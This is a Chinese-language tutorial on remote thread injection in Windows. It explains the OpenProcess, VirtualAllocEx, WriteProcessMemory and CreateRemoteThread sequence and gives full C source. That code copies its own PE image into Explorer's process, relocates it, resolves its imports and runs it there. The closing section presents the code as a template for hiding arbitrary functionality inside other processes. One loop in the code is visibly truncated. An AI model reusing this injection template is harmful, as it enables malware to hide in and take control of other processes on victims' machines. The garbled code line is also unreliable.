远程线程注入详解
作者:黎伟鑫
一、 前言:
远程线程技术指的是通过在其他进程中创建新线程的方法进入该进程的内存地址空间,从而获得对该进程的控制权的方法。
在进程中可以通过CreateThread函数创建线程,被创建的新线程与主线程共享地址空间以及其他的资源。同样,通过CreateRemoteThread函数可以在其他进程内创建新线程,新创建的的远程线程可以共享远程进程的地址空间。
所以通过在远程进程中创建新的方法,就可以进入到远程进程的内存地址空间,也就拥有了和那个远程进程相当的权限,可以在远程进程中执行代码,从而达到远程进程控制、进程隐藏的目的。
二 、基本原理:
2.1. A P I 函数
其中VirtualAllocEx和CreateRemoteThread两个API函数只能NT内核下用。实现的基本过程如下:
(1)通过OpenProcess函数打开进程PID为ProcessID的远程进程:
hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, ProcessId);
(2)通过VirtualAllocEx函数在刚打开的进程中申请IMageSize个字节的内存:
InjectPoint = (LPBYTE)VirtualAllocEx(hProcess, 0, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE) ;
(3)通过WriteProcessMemory函数将NewModule开始的IMageSize个字节的代码写入已经申请的内存中:
WriteProcessMemory(hProcess, InjectPoint, NewModule, ImageSize, NULL) ;
(4)通过CreateRemoteThread函数启动刚写入的代码:
CreateRemoteThread(hProcess, NULL, 0, RemoteEntryPoint, Param, 0, NULL);
2.2. 重定位和函数导入的问题
在远程进程执行的代码中最重要的是要解决代码的重定位和API函数导入的问题,对于参考文献1的方法是通过在远程进程中执行LoadLibrary函数将DLL文件载入,所以系统会自动完成代码的重定位和API函数导入工作:而参考文献2中提到的方法是通过汇编语言进行编程来解决,相对来讲会使编程难度增大,但隐藏性是最好的。在这里,探讨一种新的方法既能使用高级语言进行编程又有完美的隐藏效果的方法。
首先要解决的是重定位问题,这就要用到pE文件中的重定位表,利用重定位表将即将写入远程进程的代码按照在远程进程申请到的内存地址通过RelocCode函数进行重定位,然后将重定位好的代码写入远程进程的内存空间。这些写入的代码必然要用到API函数,所以在远程线程代码调用第一个API之前,要替系统来完成装入API函数对应的DLL文件,ing填好相关API函数入口地址的工作,这就要用到PE文件的输入表提供的信息,输入表记录了一个win32程序需要加载的所有DLL文件名及从中引入的API函数名,这就可以用LoadLIbrary函数注入需要用的DLL文件,在通过GETProcAddress函数获得相应的API函数地址,这里是通过LoadAPI函数来完成这些工作。下面程序中的LoadAPI函数作为远程线程的入口,其用到的API函数LoadLibrary和 GETProcAddress的入口地址有时如何确定的呢?事实上几乎所有的Windows进程都会装入“kernel32.dll”,而这两个函数就定位于“kernel32.dll”中,而且所有装入“kernel32.dll”的进程都会把它装入到同一个虚拟内存地址,即在本地进程中使用到“kernel32.dll”中的API函数和远程进程中对应的API函数地址是一样的,所以在远程进程代码中可以想本地进程一样调用LoadLibrary加载DLL文件,然后用GETProcAddress获得输入函数的入口地址并写入响应的数据结构中,完成API函数的导入。
三、编程实现:
//为了简化代码,下面程序中去掉了对出错处理的代码,实际应用中应该考虑程序运行时可能的出错: #include "stdafx.h" static PIMAGE_NT_HEADERS nt_header; #define IMAGESIZE (nt_header->OptionalHeader.SizeOfImage) #define EXPORT_TABEL (nt_header->OptionalHeader.DataDirectory[0].VirtualAddress) #define RELOC_TABEL (nt_header->OptionalHeader.DataDirectory[5].VirtualAddress) static void RelocCode (PBYTE Image, LPBYTE InjectBase) // 完成代码的重定位 { DWORD Rva = 0, RvaCount = 0, RelocOffset=0; WORD *Offset = NULL; LPBYTE RelocTable = Image + RELOC_TABEL; //重定位表位置 PIMAGE_BASE_RELOCATION basereloc= (PIMAGE_BASE_RELOCATION) RelocTable; RelocOffset= (DWORD)InjectBase - nt_header ->OptionalHeader.ImageBase; //重定位表偏移 while(basereloc ->VirtualAddress != NULL)// 遍历重定位表,修正需要重定位的代码 { Offset = (WORD*)(RelocTable + sizeof(IMAGE_BASE_RELOCATION)); RvaCount = (basereloc ->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2; for(DWORD i=0; iVirtualAddress + (DWORD)Image; *(DWORD*)Rva += RelocOffset;//RVA加上修正量进行修正 } RelocTable += basereloc ->SizeOfBlock;//指向下一页重定位信息处 basereloc = (PIMAGE_BASE_RELOCATION) RelocTable; } } int LoadAPI(LPBYTE InjectBase)// 用于完成API函数的导入,参数为要插入代码处地址 { PIMAGE_DOS_HEADER dos_h = (PIMAGE_DOS_HEADER) InjectBase; PIMAGE_NT_HEADERS nt_h = (PIMAGE_NT_HEADERS)(InjectBase + dos_h->e_lfanew); PIMAGE_IMPORT_DESCRIPTOR import_d = (PIMAGE_IMPORT_DESCRIPTOR) (InjectBase + nt_h->OptionalHeader.DataDirectory[1].VirtualAddress); for( ; import_d->OriginalFirstThunk != 0; import_d++)//遍历导入表 { HMODULE hDll = LoadLibrary((LPCSTR)(InjectBase + import_d->Name)); //上面能直接引用LoadLibrary是由于本地和远程进程中该函数地址都是相同的 if(hDll == NULL) return 0; PIMAGE_THUNK_DATA Origin = (PIMAGE_THUNK_DATA)(InjectBase +import_d->OriginalFirstThunk); PIMAGE_THUNK_DATA First = (PIMAGE_THUNK_DATA)(InjectBase + import_d->FirstThunk); LPCSTR Name = NULL; PIMAGE_IMPORT_BY_NAME Import_name = NULL; for(; Origin->u1.Ordinal != 0; Origin++, First++) { if(Origin->u1.Ordinal & IMAGE_ORDINAL_FLAG) Name = (LPCSTR)IMAGE_ORDINAL(Origin->u1.Ordinal); else { Import_name = (PIMAGE_IMPORT_BY_NAME)(InjectBase + (DWORD)( Origin->u1.AddressOfData)); Name = (LPCSTR)Import_name->Name; } First->u1.Function = (DWORD * )GetProcAddress(hDll, Name); //上面能直接引用GetProcAddress是由于本地和远程进程中该函数地址都是相同的 if(First->u1.Function == NULL) return 0; } } return 1; } DWORD RemoteThread_Main(HINSTANCE hInstance) //远程要执行的代码,在这里只演示MessageBox { ::MessageBox (0,"远程线程插入成功!","远程线程",0); return 1; } DWORD ThreadEntry(LPBYTE ImageBase) /*** 远程线程入口 ***/ { if(LoadAPI(ImageBase))//先完成API函数的导入工作 RemoteThread_Main ((HINSTANCE)ImageBase); //执行函数RemoteThread_Main中的代码 return 1; } static DWORD GetTargetProcessId() //获取远程进程 PID { DWORD ProcessId = 0; HWND hWnd = FindWindow("Progman", "Program Manager");//获取资源管理器进程PID if(hWnd != NULL) GetWindowThreadProcessId(hWnd, &ProcessId); return ProcessId; } int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine, int nCmdShow) { LPBYTE InjectPoint = NULL, Module = NULL, NewModule = NULL,Param =NULL; HANDLE hProcess = NULL, hThread = NULL; DWORD ProcessId = 0, ImageSize = 0; LPTHREAD_START_ROUTINE RemoteEntryPoint = NULL; Module = (unsigned char *)GetModuleHandle(NULL);//获取自身句柄 nt_header = (PIMAGE_NT_HEADERS)(Module + ((PIMAGE_DOS_HEADER)Module)->e_lfanew); ImageSize = IMAGESIZE ; //得到内存映象大小 //通过VirtualAllocEx申请存放自身代码的内存空间 NewModule =( LPBYTE )VirtualAlloc(NULL, ImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(NewModule, Module, ImageSize) ; //将自身复制到NewModule处 nt_header = (PIMAGE_NT_HEADERS)(NewModule + ((PIMAGE_DOS_HEADER)NewModule)->e_lfanew); if( ProcessId = GetTargetProcessId() ) //获取远程进程 PID if( hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, ProcessId)) //打开进程 //通过VirtualAllocEx在打开的远程进程中申请内存空间 if( InjectPoint = (LPBYTE)VirtualAllocEx(hProcess, 0, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE) ) { RelocCode (NewModule, InjectPoint); //重定位NewModule处的代码 RemoteEntryPoint = (LPTHREAD_START_ROUTINE)( InjectPoint +(DWORD) &ThreadEntry - Module );//得到ThreadEntry在远程进程中的地址 Param = InjectPoint; //将插入点地址作为参数传递给线程函数 //将重定位好的代码通过WriteProcessMemory写入远程进程的内存空间中 if(WriteProcessMemory(hProcess, InjectPoint, NewModule, ImageSize, NULL)) //通过CreateRemoteThread启动刚写入的代码,参数为Param CreateRemoteThread(hProcess, NULL, 0, RemoteEntryPoint, Param, 0, NULL); } return 0; }
四 、总结
代码可以把它当做一个模板,只要是在RemoteThread_Main函数中加入实现各种功能的代码即可把它隐藏到其他进程中去运行。远程线程技术除了隐藏进程外,还有其他一些用途,如用于杀毒软件进行内存杀毒等。
以上代码均在WindowsXP专业版和Windows2000下正常运行,注意在编译程序时候应保留重定位表的信息,即在“Project”菜单中选“SETting”,然后选Link选项卡,将Link incrementally选上在进行编译,否则会出错。